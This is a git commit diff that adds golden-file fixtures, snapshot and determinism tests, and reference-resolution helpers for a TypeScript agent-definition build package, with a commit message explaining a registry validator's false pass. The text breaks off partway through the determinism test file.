Browse Source

test(build): add red-first test layer for the canonical build

Five layers defining "done" for the build: schema validation, reference
resolution, profile completeness, golden-file snapshots, and determinism.
83 new tests — 47 green today, 36 red-by-design pending subtasks 04-11.
Each red carries a diagnostic naming the subtask that owes it, so a failure
reads as a specification rather than a crash. Baseline 628 untouched.

Reference resolution is the layer that earns its keep. scripts/registry/
validate-registry.sh reports "244/244 valid, 0 missing dependencies" and
exits 0 — a false green with two mechanisms: it reads registry.json but
never on-disk frontmatter, so drift in the shipping file is invisible to it;
and it walks components[].dependencies but never profiles, leaving 209 refs
unchecked. Both are now asserted structurally.

Fixes .gitignore, where the build/ output rule matched tests/unit/build/ at
depth. Four suites would have passed locally, never reached CI, and the gate
they exist to be would quietly not have existed. Build outputs stay ignored.

Golden corpus uses the 7 live plugins/claude-code agents as a free
regression oracle: their tool lists admit exactly one total order
(Read, Write, Edit, Glob, Grep, Bash, WebFetch, Task) — alphabetical and
ToolAccessSchema order are both refuted by context-manager.md — so they are
byte-reproducible rather than approximately so.
darrenhinde 2 weeks ago
parent
commit
0252c79662

+ 5 - 0
.gitignore

@@ -18,6 +18,11 @@ build/
 out/
 *.tsbuildinfo
 
+# ...but this one is test SOURCE, not build output. The `build/` rule above matches at any
+# depth, so without this negation the canonical-build test suites are silently untracked:
+# they pass locally, never reach CI, and the gate they exist to be quietly does not exist.
+!packages/compatibility-layer/tests/unit/build/
+
 # OS generated files
 .DS_Store
 .DS_Store?

+ 18 - 0
packages/compatibility-layer/tests/golden/expected/claude-code/fixture-planner.md

@@ -0,0 +1,18 @@
+---
+name: fixture-planner
+description: Plans work before implementation. A golden-file fixture, not a shipped agent.
+tools: Read
+disallowedTools: Write, Edit, Bash
+model: sonnet
+---
+
+# FixturePlanner
+
+A planning agent used to pin adapter output. Its `bash` block is deliberately
+deny-all-then-allowlist: the two `git` rules come AFTER the catch-all deny and must survive
+the round trip in that order, because OpenCode resolves last-match-wins.
+
+## Rules
+
+- Plan first, implement never.
+- Read widely, write nothing.

+ 17 - 0
packages/compatibility-layer/tests/golden/expected/claude-code/fixture-reviewer.md

@@ -0,0 +1,17 @@
+---
+name: fixture-reviewer
+description: Reviews code for correctness. A golden-file fixture, not a shipped agent.
+tools: Read, Glob, Grep
+disallowedTools: Write, Edit, Bash, Task
+model: haiku
+---
+
+# FixtureReviewer
+
+A read-only reviewer used to pin adapter output. Its permission block is deliberately the
+same shape as the shipped read-only subagents: everything denied except read, grep and glob.
+
+## Rules
+
+- Never edit a file.
+- Report findings, do not fix them.

+ 29 - 0
packages/compatibility-layer/tests/golden/expected/opencode/fixture-planner.md

@@ -0,0 +1,29 @@
+---
+name: FixturePlanner
+description: Plans work before implementation. A golden-file fixture, not a shipped agent.
+mode: primary
+temperature: 0.3
+model: sonnet
+permission:
+  read:
+    "*": "allow"
+  bash:
+    "*": "deny"
+    "git status": "allow"
+    "git log*": "allow"
+  edit:
+    "*": "deny"
+  write:
+    "*": "deny"
+---
+
+# FixturePlanner
+
+A planning agent used to pin adapter output. Its `bash` block is deliberately
+deny-all-then-allowlist: the two `git` rules come AFTER the catch-all deny and must survive
+the round trip in that order, because OpenCode resolves last-match-wins.
+
+## Rules
+
+- Plan first, implement never.
+- Read widely, write nothing.

+ 32 - 0
packages/compatibility-layer/tests/golden/expected/opencode/fixture-reviewer.md

@@ -0,0 +1,32 @@
+---
+name: FixtureReviewer
+description: Reviews code for correctness. A golden-file fixture, not a shipped agent.
+mode: subagent
+temperature: 0.1
+model: haiku
+permission:
+  read:
+    "*": "allow"
+  grep:
+    "*": "allow"
+  glob:
+    "*": "allow"
+  bash:
+    "*": "deny"
+  edit:
+    "*": "deny"
+  write:
+    "*": "deny"
+  task:
+    "*": "deny"
+---
+
+# FixtureReviewer
+
+A read-only reviewer used to pin adapter output. Its permission block is deliberately the
+same shape as the shipped read-only subagents: everything denied except read, grep and glob.
+
+## Rules
+
+- Never edit a file.
+- Report findings, do not fix them.

+ 45 - 0
packages/compatibility-layer/tests/golden/fixtures/fixture-planner.md

@@ -0,0 +1,45 @@
+---
+name: FixturePlanner
+description: Plans work before implementation. A golden-file fixture, not a shipped agent.
+mode: primary
+temperature: 0.3
+model: sonnet
+permission:
+  read:
+    "*": "allow"
+  bash:
+    "*": "deny"
+    "git status": "allow"
+    "git log*": "allow"
+  edit:
+    "*": "deny"
+  write:
+    "*": "deny"
+oac:
+  id: fixture-planner
+  name: FixturePlanner
+  category: core
+  type: agent
+  version: 2.0.0
+  author: opencode
+  tags:
+    - fixture
+    - planning
+  dependencies:
+    - subagent:contextscout
+    - context:standards-code
+  targets:
+    - opencode
+    - claude-code
+---
+
+# FixturePlanner
+
+A planning agent used to pin adapter output. Its `bash` block is deliberately
+deny-all-then-allowlist: the two `git` rules come AFTER the catch-all deny and must survive
+the round trip in that order, because OpenCode resolves last-match-wins.
+
+## Rules
+
+- Plan first, implement never.
+- Read widely, write nothing.

+ 47 - 0
packages/compatibility-layer/tests/golden/fixtures/fixture-reviewer.md

@@ -0,0 +1,47 @@
+---
+name: FixtureReviewer
+description: Reviews code for correctness. A golden-file fixture, not a shipped agent.
+mode: subagent
+temperature: 0.1
+model: haiku
+permission:
+  read:
+    "*": "allow"
+  grep:
+    "*": "allow"
+  glob:
+    "*": "allow"
+  bash:
+    "*": "deny"
+  edit:
+    "*": "deny"
+  write:
+    "*": "deny"
+  task:
+    "*": "deny"
+oac:
+  id: fixture-reviewer
+  name: FixtureReviewer
+  category: subagents/test
+  type: subagent
+  version: 1.0.0
+  author: opencode
+  tags:
+    - fixture
+    - review
+  dependencies:
+    - context:standards-code
+  targets:
+    - opencode
+    - claude-code
+---
+
+# FixtureReviewer
+
+A read-only reviewer used to pin adapter output. Its permission block is deliberately the
+same shape as the shipped read-only subagents: everything denied except read, grep and glob.
+
+## Rules
+
+- Never edit a file.
+- Report findings, do not fix them.

+ 217 - 0
packages/compatibility-layer/tests/golden/golden-files.test.ts

@@ -0,0 +1,217 @@
+/**
+ * Golden-file snapshots — per adapter, per agent.
+ *
+ * Two corpora, on purpose:
+ *
+ *   1. `fixtures/` + `expected/` — 2 agents x 2 targets, controlled input. These pin the
+ *      details a live corpus does not happen to exercise (a deny-all-then-allowlist bash
+ *      block that Claude Code cannot represent, and must therefore fail CLOSED).
+ *
+ *   2. `plugins/claude-code/agents/` — the 7 agents already committed in the flat
+ *      tools:/disallowedTools: format. This is a FREE regression corpus: whatever subtask 07
+ *      emits must reproduce those 7 files byte-for-byte, and no one had to author an
+ *      expectation for it. It is guess-free in a way `expected/` cannot be.
+ *
+ * ─── On the expected/ files being a specification ───────────────────────────────────────
+ *
+ * The adapters do not exist yet, so `expected/` was authored from the live formats rather
+ * than captured from a run: the OpenCode files mirror `.opencode/agent/**` frontmatter minus
+ * the `oac:` block; the Claude Code files mirror `plugins/claude-code/agents/**`. They are a
+ * SPEC, and they are red until subtasks 06/07 land. If an adapter emits different-but-better
+ * bytes, update these files deliberately and say why in the commit — that is the gate
+ * working, not the gate being wrong. What must NOT happen is an adapter being relaxed to
+ * match a golden, or a golden being regenerated blindly from adapter output.
+ *
+ * ─── The tool ordering rule, recovered from the live corpus ─────────────────────────────
+ *
+ * Verified 2026-07-15 against all 7 live agents: `tools:` and `disallowedTools:` are both
+ * ordered `Read, Write, Edit, Glob, Grep, Bash, WebFetch, Task`. Every one of the 10 lists
+ * across those files is consistent with it, and it is the ONLY total order that is —
+ * alphabetical is not (`context-manager.md` is `Read, Write, Glob, Grep, Bash`), and neither
+ * is `ToolAccessSchema` field order (which would put Bash before Glob/Grep). Subtask 07 must
+ * emit this order or the 7 will not reproduce.
+ */
+
+import { describe, it, expect } from "vitest";
+import { readFileSync } from "node:fs";
+import { basename, join } from "node:path";
+import {
+  importPendingSymbols,
+  listFiles,
+  packagePath,
+  repoPath,
+  requireMethod,
+} from "../support/pending.js";
+
+const FIXTURES = packagePath("tests/golden/fixtures");
+const EXPECTED = packagePath("tests/golden/expected");
+const LIVE_CC_AGENTS = repoPath("plugins/claude-code/agents");
+
+/** The canonical emit order for Claude Code tool lists, recovered from the live corpus. */
+export const CLAUDE_TOOL_ORDER = [
+  "Read",
+  "Write",
+  "Edit",
+  "Glob",
+  "Grep",
+  "Bash",
+  "WebFetch",
+  "Task",
+] as const;
+
+const TARGETS = ["opencode", "claude-code"] as const;
+const AGENTS = ["fixture-reviewer", "fixture-planner"] as const;
+
+interface Adapter {
+  fromCanonical(source: string): Promise<{ content: string; warnings?: string[] }>;
+}
+
+const ADAPTER_MODULE: Record<(typeof TARGETS)[number], { path: string; symbol: string; owedBy: string }> = {
+  opencode: {
+    path: "src/adapters/OpenCodeAdapter.ts",
+    symbol: "OpenCodeAdapter",
+    owedBy: "subtask 06 (src/adapters/OpenCodeAdapter.ts)",
+  },
+  "claude-code": {
+    path: "src/adapters/ClaudeAdapter.ts",
+    symbol: "ClaudeAdapter",
+    owedBy: "subtask 07 (src/adapters/ClaudeAdapter.ts)",
+  },
+};
+
+async function adapterFor(target: (typeof TARGETS)[number], why: string): Promise<Adapter> {
+  const { path, symbol, owedBy } = ADAPTER_MODULE[target];
+  const module = await importPendingSymbols<Record<string, new () => Adapter>>(
+    path,
+    [symbol],
+    owedBy,
+    why
+  );
+  // ClaudeAdapter already exists and speaks the old `fromOAC` interface, so the symbol probe
+  // alone would let this through and fail as a bare TypeError. Name the gap instead.
+  return requireMethod(new module[symbol]!(), "fromCanonical", owedBy, why);
+}
+
+function fixture(agent: string): string {
+  return readFileSync(join(FIXTURES, `${agent}.md`), "utf-8");
+}
+
+function golden(target: string, agent: string): string {
+  return readFileSync(join(EXPECTED, target, `${agent}.md`), "utf-8");
+}
+
+// ============================================================================
+// Green today — the corpora themselves are well-formed
+// ============================================================================
+
+describe("golden corpus", () => {
+  it("has a fixture and both goldens for each agent", () => {
+    for (const agent of AGENTS) {
+      expect(() => fixture(agent), `fixtures/${agent}.md`).not.toThrow();
+      for (const target of TARGETS) {
+        expect(() => golden(target, agent), `expected/${target}/${agent}.md`).not.toThrow();
+      }
+    }
+  });
+
+  it("keeps the oac: block out of every golden — it is authoring-only", () => {
+    for (const target of TARGETS) {
+      for (const agent of AGENTS) {
+        expect(golden(target, agent), `expected/${target}/${agent}.md leaks the oac: block`).not.toContain(
+          "oac:"
+        );
+      }
+    }
+  });
+
+  it("fails closed in the claude-code golden: an unrepresentable bash allowlist becomes a deny", () => {
+    // fixture-planner authorises `git status` / `git log*` AFTER a catch-all bash deny.
+    // Claude Code has no ordered-glob equivalent, so the only safe degradation is to deny
+    // Bash outright. A golden that listed Bash under `tools:` would be silently widening
+    // access — the exact failure mode the permission work exists to prevent.
+    const emitted = golden("claude-code", "fixture-planner");
+
+    expect(emitted).toMatch(/^disallowedTools:.*\bBash\b/m);
+    expect(emitted).not.toMatch(/^tools:.*\bBash\b/m);
+  });
+
+  it("orders every live tool list by the canonical order", () => {
+    const rank = (tool: string): number => {
+      const at = CLAUDE_TOOL_ORDER.indexOf(tool as (typeof CLAUDE_TOOL_ORDER)[number]);
+      expect(at, `"${tool}" is not in CLAUDE_TOOL_ORDER`).toBeGreaterThanOrEqual(0);
+      return at;
+    };
+
+    for (const file of listFiles(LIVE_CC_AGENTS)) {
+      for (const key of ["tools", "disallowedTools"]) {
+        const line = new RegExp(`^${key}: (.+)$`, "m").exec(readFileSync(file, "utf-8"));
+        if (line === null) continue;
+
+        const tools = line[1]!.split(",").map((tool) => tool.trim());
+        expect(tools, `${basename(file)} ${key}:`).toEqual(
+          [...tools].sort((a, b) => rank(a) - rank(b))
+        );
+      }
+    }
+  });
+});
+
+// ============================================================================
+// RED — adapters must reproduce the goldens
+// ============================================================================
+
+describe.each(TARGETS)("%s adapter goldens", (target) => {
+  it.each(AGENTS)(`reproduces expected/${target}/%s.md byte-for-byte`, async (agent) => {
+    const adapter = await adapterFor(
+      target,
+      `emitting fixtures/${agent}.md for ${target} reproduces expected/${target}/${agent}.md exactly`
+    );
+
+    const { content } = await adapter.fromCanonical(fixture(agent));
+
+    expect(content).toBe(golden(target, agent));
+  });
+});
+
+describe("claude-code adapter against the live corpus", () => {
+  const OWED_BY = "subtasks 07 + 09 (ClaudeAdapter + content/agents/)";
+
+  it("warns when it degrades an ordered bash allowlist to a binary deny", async () => {
+    const adapter = await adapterFor(
+      "claude-code",
+      "degrading an ordered rule list to Claude Code's binary model emits a warning rather " +
+        "than silently dropping the allowlist"
+    );
+
+    const { warnings } = await adapter.fromCanonical(fixture("fixture-planner"));
+
+    expect(warnings ?? []).toEqual(
+      expect.arrayContaining([expect.stringMatching(/bash/i)])
+    );
+  });
+
+  it("regenerates all 7 committed agents byte-for-byte", async () => {
+    // The strongest gate in this file: no expectation was authored, so nothing here can be
+    // wrong-by-guess. If the rebuild does not reproduce these bytes, the build is not yet a
+    // faithful replacement for what is already shipping.
+    const live = listFiles(LIVE_CC_AGENTS);
+    expect(live.length, "expected the 7 committed Claude Code agents").toBe(7);
+
+    const { buildAgent } = await importPendingSymbols<{
+      buildAgent: (id: string, target: string) => Promise<string>;
+    }>(
+      "src/core/BuildPipeline.ts",
+      ["buildAgent"],
+      OWED_BY,
+      "rebuilding each of the 7 committed Claude Code agents from content/agents/ reproduces " +
+        "the file already on disk, byte-for-byte"
+    );
+
+    for (const file of live) {
+      const id = basename(file, ".md");
+      expect(await buildAgent(id, "claude-code"), `${id} drifted from its committed file`).toBe(
+        readFileSync(file, "utf-8")
+      );
+    }
+  });
+});

+ 179 - 0
packages/compatibility-layer/tests/support/pending.ts

@@ -0,0 +1,179 @@
+/**
+ * Helpers for RED-FIRST tests.
+ *
+ * Subtask 03 writes the tests that define "done" for subtasks 04-11. Those subtasks have
+ * not landed, so the modules and the `content/` tree under test do not exist yet. A bare
+ * top-level `import` of a missing module aborts collection for the WHOLE file, which turns
+ * one honest red test into a wall of unrelated errors that say nothing about what is
+ * missing.
+ *
+ * So: probe the filesystem first, import dynamically only when the target is really there,
+ * and otherwise fail with a sentence naming the subtask that owes the artifact. A red test
+ * here is a specification, not a crash.
+ */
+
+import { existsSync, readdirSync, statSync } from "node:fs";
+import { dirname, join, resolve } from "node:path";
+import { fileURLToPath, pathToFileURL } from "node:url";
+import { expect } from "vitest";
+
+const HERE = dirname(fileURLToPath(import.meta.url));
+
+/** `packages/compatibility-layer` */
+export const PACKAGE_ROOT = resolve(HERE, "../..");
+
+/** The repository root — four levels up from `tests/support/`. */
+export const REPO_ROOT = resolve(HERE, "../../../..");
+
+/** Absolute path to a repo-relative path. */
+export function repoPath(...segments: string[]): string {
+  return join(REPO_ROOT, ...segments);
+}
+
+/** Absolute path to a package-relative path. */
+export function packagePath(...segments: string[]): string {
+  return join(PACKAGE_ROOT, ...segments);
+}
+
+/** The marker every RED-by-design failure carries, so they are greppable in CI output. */
+const MARKER = "RED-BY-DESIGN";
+
+/**
+ * Fail with a message that states precisely what is missing and who owes it.
+ *
+ * @param what    the artifact that does not exist yet
+ * @param owedBy  the subtask expected to deliver it (e.g. "subtask 05")
+ * @param why     what this test would assert once it exists
+ */
+export function pending(what: string, owedBy: string, why: string): never {
+  expect.fail(
+    `${MARKER} — ${what} does not exist yet.\n` +
+      `  Owed by: ${owedBy}\n` +
+      `  Once it lands, this test asserts: ${why}\n` +
+      `  This failure is the specification, not a bug in the test.`
+  );
+}
+
+/**
+ * Dynamically import a package-relative module, failing cleanly when it is not on disk.
+ *
+ * The existence probe comes first on purpose: it means we never hand a missing specifier to
+ * the loader, so the failure is our sentence rather than a resolver stack trace.
+ *
+ * @param relativePath  package-relative module path, e.g. `"src/core/ReferenceResolver.ts"`
+ * @param owedBy        the subtask expected to deliver it
+ * @param why           what this test would assert once it exists
+ */
+export async function importPending<T = Record<string, unknown>>(
+  relativePath: string,
+  owedBy: string,
+  why: string
+): Promise<T> {
+  const absolute = packagePath(relativePath);
+
+  if (!existsSync(absolute)) {
+    pending(`module ${relativePath}`, owedBy, why);
+  }
+
+  try {
+    return (await import(/* @vite-ignore */ pathToFileURL(absolute).href)) as T;
+  } catch (cause) {
+    expect.fail(
+      `${MARKER} — module ${relativePath} exists but failed to import.\n` +
+        `  Owed by: ${owedBy}\n` +
+        `  Once it imports, this test asserts: ${why}\n` +
+        `  Import error: ${cause instanceof Error ? cause.message : String(cause)}`
+    );
+  }
+}
+
+/**
+ * Pull named exports out of a pending module, failing cleanly on a missing symbol.
+ *
+ * A module can land before its full surface does; `undefined is not a constructor` is not a
+ * diagnostic, so name the symbol and the subtask instead.
+ */
+export async function importPendingSymbols<T extends Record<string, unknown>>(
+  relativePath: string,
+  symbols: readonly string[],
+  owedBy: string,
+  why: string
+): Promise<T> {
+  const module = await importPending<Record<string, unknown>>(relativePath, owedBy, why);
+  const missing = symbols.filter((symbol) => module[symbol] === undefined);
+
+  if (missing.length > 0) {
+    expect.fail(
+      `${MARKER} — module ${relativePath} does not export: ${missing.join(", ")}.\n` +
+        `  Owed by: ${owedBy}\n` +
+        `  Exports found: ${Object.keys(module).join(", ") || "(none)"}\n` +
+        `  Once exported, this test asserts: ${why}`
+    );
+  }
+
+  return module as T;
+}
+
+/**
+ * Require a method on an already-constructed instance, failing cleanly when it is absent.
+ *
+ * The module-and-symbol probes above are not enough on their own: `ClaudeAdapter.ts` already
+ * exists and exports `ClaudeAdapter`, so both probes pass — and then the test dies on
+ * `adapter.fromCanonical is not a function`, a TypeError that names neither the missing
+ * capability nor the subtask that owes it. The old class speaks `fromOAC`; the canonical
+ * build needs `fromCanonical`. That gap is a specification, so it gets a sentence.
+ */
+export function requireMethod<T extends object>(
+  instance: T,
+  method: string,
+  owedBy: string,
+  why: string
+): T {
+  if (typeof (instance as Record<string, unknown>)[method] !== "function") {
+    const surface = [
+      ...Object.getOwnPropertyNames(Object.getPrototypeOf(instance) as object),
+      ...Object.keys(instance),
+    ]
+      .filter((name) => name !== "constructor")
+      .sort();
+
+    expect.fail(
+      `${MARKER} — ${instance.constructor.name} has no ${method}() method.\n` +
+        `  Owed by: ${owedBy}\n` +
+        `  Methods found: ${surface.join(", ") || "(none)"}\n` +
+        `  Once it exists, this test asserts: ${why}`
+    );
+  }
+
+  return instance;
+}
+
+/**
+ * Require a repo-relative directory, failing cleanly when absent.
+ *
+ * `content/` is built by subtask 09 in parallel with this one; an ENOENT stack trace from
+ * `readdirSync` would say nothing useful about that.
+ */
+export function requireDir(relativePath: string, owedBy: string, why: string): string {
+  const absolute = repoPath(relativePath);
+
+  if (!existsSync(absolute) || !statSync(absolute).isDirectory()) {
+    pending(`directory ${relativePath}/`, owedBy, why);
+  }
+
+  return absolute;
+}
+
+/** Recursively list files under `absoluteDir` matching `extension`, sorted for determinism. */
+export function listFiles(absoluteDir: string, extension = ".md"): string[] {
+  const walk = (dir: string): string[] =>
+    readdirSync(dir, { withFileTypes: true })
+      .flatMap((entry) => {
+        const full = join(dir, entry.name);
+        if (entry.isDirectory()) return walk(full);
+        return entry.isFile() && entry.name.endsWith(extension) ? [full] : [];
+      })
+      .sort();
+
+  return walk(absoluteDir).sort();
+}

+ 247 - 0
packages/compatibility-layer/tests/support/references.ts

@@ -0,0 +1,247 @@
+/**
+ * A reference-resolution ORACLE for the tests.
+ *
+ * Why a test-local oracle exists at all: `scripts/registry/validate-registry.sh` reports
+ * "244/244 valid, 0 missing dependencies" and exits 0 — a FALSE GREEN. It is blind in two
+ * specific ways, both verified on disk (see reference-resolution.test.ts):
+ *
+ *   1. It only ever reads `registry.json`. Component `dependencies:` authored in on-disk
+ *      frontmatter are never parsed, so frontmatter that has drifted from its registry
+ *      entry is invisible to it.
+ *   2. It walks `.components.*[].dependencies` only. `.profiles.*.components` — 209 refs
+ *      across 5 profiles — is never validated at all.
+ *
+ * This oracle reads both sources from disk and applies the resolution rule the validator
+ * itself documents, so the tests can assert what the validator cannot see. Subtask 05 owns
+ * the SHIPPED resolver (`src/core/ReferenceResolver.ts`); this oracle is what that resolver
+ * is measured against.
+ */
+
+import { readFileSync } from "node:fs";
+import { relative } from "node:path";
+import matter from "gray-matter";
+import { listFiles, repoPath } from "./pending.js";
+
+/** Registry category key -> the `type` prefix used in a `type:id` reference. */
+const CATEGORY_TO_TYPE: Readonly<Record<string, string>> = {
+  agents: "agent",
+  subagents: "subagent",
+  commands: "command",
+  tools: "tool",
+  plugins: "plugin",
+  skills: "skill",
+  contexts: "context",
+  config: "config",
+};
+
+const CONTEXT_ROOT = ".opencode/context/";
+
+export type ResolutionStatus =
+  | "ok"
+  | "invalid-format"
+  | "unknown-type"
+  | "dead-id"
+  | "dead-wildcard";
+
+export interface RegistryComponent {
+  id: string;
+  name: string;
+  path: string;
+  dependencies?: string[];
+}
+
+export interface Registry {
+  components: Record<string, RegistryComponent[]>;
+  profiles: Record<string, { components?: string[] }>;
+}
+
+/** Where a reference was authored — reported verbatim in failure messages. */
+export interface Reference {
+  /** The raw `type:id` string as authored. */
+  ref: string;
+  /** Human-readable origin, e.g. `.opencode/command/add-context.md` or `registry.json profiles.advanced`. */
+  source: string;
+}
+
+export interface Resolution extends Reference {
+  status: ResolutionStatus;
+  /** Why it failed, in one sentence. Empty for `ok`. */
+  reason: string;
+}
+
+export function loadRegistry(): Registry {
+  return JSON.parse(readFileSync(repoPath("registry.json"), "utf-8")) as Registry;
+}
+
+interface Index {
+  idsByType: Map<string, Set<string>>;
+  contextPaths: Set<string>;
+}
+
+function index(registry: Registry): Index {
+  const idsByType = new Map<string, Set<string>>();
+  const contextPaths = new Set<string>();
+
+  for (const [category, components] of Object.entries(registry.components)) {
+    const type = CATEGORY_TO_TYPE[category];
+    if (type === undefined) continue;
+
+    const ids = idsByType.get(type) ?? new Set<string>();
+    for (const component of components) {
+      ids.add(component.id);
+      if (type === "context") contextPaths.add(component.path);
+    }
+    idsByType.set(type, ids);
+  }
+
+  return { idsByType, contextPaths };
+}
+
+/**
+ * Resolve one `type:id` reference against the registry.
+ *
+ * The rule is the one `validate-registry.sh` documents for itself:
+ *   - exact registry id match, OR
+ *   - for `context:`, the path form `.opencode/context/<id>.md`, OR
+ *   - for a trailing `*`, at least one registry context path under `.opencode/context/<prefix>`.
+ *
+ * Note what is deliberately NOT tolerated: an id that already ends in `.md`. Registry ids are
+ * bare slugs — zero of the registry's context ids contain `/` or end in `.md` (asserted in
+ * reference-resolution.test.ts). Accepting `context:core/standards/mvi.md` as a path would
+ * invent a second, undeclared namespace and paper over exactly the drift these tests exist
+ * to catch.
+ */
+export function resolveReference(ref: string, registryIndex: Index): Resolution {
+  const base: Reference = { ref, source: "" };
+  const separator = ref.indexOf(":");
+
+  if (separator <= 0 || separator === ref.length - 1) {
+    return {
+      ...base,
+      status: "invalid-format",
+      reason: `"${ref}" is not of the form "<type>:<id>"`,
+    };
+  }
+
+  const type = ref.slice(0, separator);
+  const id = ref.slice(separator + 1);
+  const ids = registryIndex.idsByType.get(type);
+
+  if (ids === undefined) {
+    return {
+      ...base,
+      status: "unknown-type",
+      reason: `"${type}" is not a registry component type (known: ${[...registryIndex.idsByType.keys()].sort().join(", ")})`,
+    };
+  }
+
+  if (id.includes("*")) {
+    const prefix = id.slice(0, id.indexOf("*"));
+    const matches = [...registryIndex.contextPaths].filter((path) =>
+      path.startsWith(CONTEXT_ROOT + prefix)
+    );
+
+    return matches.length > 0
+      ? { ...base, status: "ok", reason: "" }
+      : {
+          ...base,
+          status: "dead-wildcard",
+          reason: `wildcard "${ref}" expands to 0 components — no registry context path starts with "${CONTEXT_ROOT}${prefix}"`,
+        };
+  }
+
+  if (ids.has(id)) return { ...base, status: "ok", reason: "" };
+
+  if (type === "context" && registryIndex.contextPaths.has(`${CONTEXT_ROOT}${id}.md`)) {
+    return { ...base, status: "ok", reason: "" };
+  }
+
+  return {
+    ...base,
+    status: "dead-id",
+    reason: `no registry component has id "${id}" of type "${type}"`,
+  };
+}
+
+/** Every reference authored in `registry.json` component `dependencies` arrays. */
+export function registryComponentReferences(registry: Registry): Reference[] {
+  return Object.entries(registry.components).flatMap(([category, components]) =>
+    components.flatMap((component) =>
+      (component.dependencies ?? []).map((ref) => ({
+        ref,
+        source: `registry.json components.${category}[id=${component.id}].dependencies`,
+      }))
+    )
+  );
+}
+
+/**
+ * Every reference authored in `registry.json` profile component lists.
+ * `validate-registry.sh` never looks here.
+ */
+export function profileReferences(registry: Registry): Reference[] {
+  return Object.entries(registry.profiles).flatMap(([name, profile]) =>
+    (profile.components ?? []).map((ref) => ({
+      ref,
+      source: `registry.json profiles.${name}.components`,
+    }))
+  );
+}
+
+/**
+ * Every reference authored in on-disk `dependencies:` frontmatter under `.opencode/`.
+ * `validate-registry.sh` never looks here either — this is where 3 of the 4 dead refs live.
+ */
+export function frontmatterReferences(): Reference[] {
+  return listFiles(repoPath(".opencode"), ".md").flatMap((file) => {
+    const source = relative(repoPath(), file);
+    let data: Record<string, unknown>;
+
+    try {
+      ({ data } = matter(readFileSync(file, "utf-8")));
+    } catch {
+      // A file whose frontmatter does not parse is a different defect, owned by the schema
+      // suite. Skipping it here keeps this collector about reference rot only.
+      return [];
+    }
+
+    const dependencies = data.dependencies;
+    if (!Array.isArray(dependencies)) return [];
+
+    return dependencies
+      .filter((ref): ref is string => typeof ref === "string")
+      .map((ref) => ({ ref, source }));
+  });
+}
+
+/** Every reference the repo authors, from all three sources. */
+export function allReferences(registry: Registry = loadRegistry()): Reference[] {
+  return [
+    ...registryComponentReferences(registry),
+    ...profileReferences(registry),
+    ...frontmatterReferences(),
+  ];
+}
+
+/** Resolve a batch of references, preserving their source attribution. */
+export function resolveAll(references: Reference[], registry: Registry = loadRegistry()): Resolution[] {
+  const registryIndex = index(registry);
+  return references.map((reference) => ({
+    ...resolveReference(reference.ref, registryIndex),
+    source: reference.source,
+  }));
+}
+
+/** Just the broken ones. */
+export function deadReferences(registry: Registry = loadRegistry()): Resolution[] {
+  return resolveAll(allReferences(registry), registry).filter(
+    (resolution) => resolution.status !== "ok"
+  );
+}
+
+/** Render resolutions as one greppable line each, for failure messages. */
+export function format(resolutions: readonly Resolution[]): string {
+  return resolutions.length === 0
+    ? "  (none)"
+    : resolutions.map((r) => `  ${r.source}\n    ${r.ref} -> ${r.status}: ${r.reason}`).join("\n");
+}

+ 160 - 0
packages/compatibility-layer/tests/unit/build/determinism.test.ts

@@ -0,0 +1,160 @@
+/**
+ * Build determinism — building twice over the same input yields byte-identical output.
+ *
+ * This is not a nicety. The whole refactor rests on `oac build && git diff --exit-code`
+ * returning 0 (task.json exit criteria): generated trees stay COMMITTED, and CI gates drift
+ * by rebuilding and diffing. A build with any nondeterminism — a timestamp, an unsorted
+ * directory read, a `JSON.stringify` over an object whose key order depends on insertion —
+ * turns that gate into a coin flip and it gets disabled within a week.
+ *
+ * The failure mode is specifically NOT caught by "does the output look right" tests: a build
+ * that emits a timestamp is perfectly correct on every single run and still fails the gate.
+ *
+ * Determinism rules being asserted here (07 Stage 3 / 04 §2.1): stable input sort, no
+ * timestamps in content, fixed key order.
+ */
+
+import { describe, it, expect } from "vitest";
+import { readFileSync } from "node:fs";
+import {
+  importPendingSymbols,
+  packagePath,
+  repoPath,
+  requireMethod,
+} from "../../support/pending.js";
+
+const FIXTURE = packagePath("tests/golden/fixtures/fixture-reviewer.md");
+
+/** Anything that would make two runs differ. Matched against emitted content, not source. */
+const NONDETERMINISM = [
+  { name: "an ISO timestamp", pattern: /\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/ },
+  { name: "a 'generated at' stamp", pattern: /generated (at|on)[:\s]/i },
+  { name: "an absolute home path", pattern: /\/(Users|home)\/[^/\s"]+/ },
+];
+
+const ADAPTERS = [
+  { target: "opencode", path: "src/adapters/OpenCodeAdapter.ts", symbol: "OpenCodeAdapter", owedBy: "subtask 06" },
+  { target: "claude-code", path: "src/adapters/ClaudeAdapter.ts", symbol: "ClaudeAdapter", owedBy: "subtask 07" },
+] as const;
+
+interface Adapter {
+  fromCanonical(source: string): Promise<{ content: string }>;
+}
+
+async function adapterFor(entry: (typeof ADAPTERS)[number], why: string): Promise<Adapter> {
+  const owedBy = `${entry.owedBy} (${entry.path})`;
+  const module = await importPendingSymbols<Record<string, new () => Adapter>>(
+    entry.path,
+    [entry.symbol],
+    owedBy,
+    why
+  );
+  // ClaudeAdapter exists already but speaks `fromOAC`; without this the test dies as a bare
+  // TypeError rather than naming the interface it is waiting on.
+  return requireMethod(new module[entry.symbol]!(), "fromCanonical", owedBy, why);
+}
+
+// ============================================================================
+// RED — adapter-level determinism (subtasks 06/07)
+// ============================================================================
+
+describe.each(ADAPTERS)("$target adapter determinism", (entry) => {
+  it("emits byte-identical output when invoked twice on the same input", async () => {
+    const adapter = await adapterFor(
+      entry,
+      "two runs over identical input produce identical bytes, so `oac build && git diff " +
+        "--exit-code` is a real gate rather than a coin flip"
+    );
+    const source = readFileSync(FIXTURE, "utf-8");
+
+    const first = await adapter.fromCanonical(source);
+    const second = await adapter.fromCanonical(source);
+
+    expect(second.content).toBe(first.content);
+  });
+
+  it("emits nothing that varies between runs", async () => {
+    const adapter = await adapterFor(
+      entry,
+      "emitted content carries no timestamp, absolute path or other per-run value"
+    );
+
+    const { content } = await adapter.fromCanonical(readFileSync(FIXTURE, "utf-8"));
+
+    for (const { name, pattern } of NONDETERMINISM) {
+      expect(content, `emitted content contains ${name}`).not.toMatch(pattern);
+    }
+  });
+
+  it("is insensitive to the order the same input is presented in", async () => {
+    // Two separately-constructed adapters over the same source must agree. If any per-
+    // instance state (a cache, a counter, a Set iteration) leaks into output, this catches
+    // it where a single instance called twice would not.
+    const source = readFileSync(FIXTURE, "utf-8");
+
+    const a = await adapterFor(entry, "adapter output depends only on its input");
+    const b = await adapterFor(entry, "adapter output depends only on its input");
+
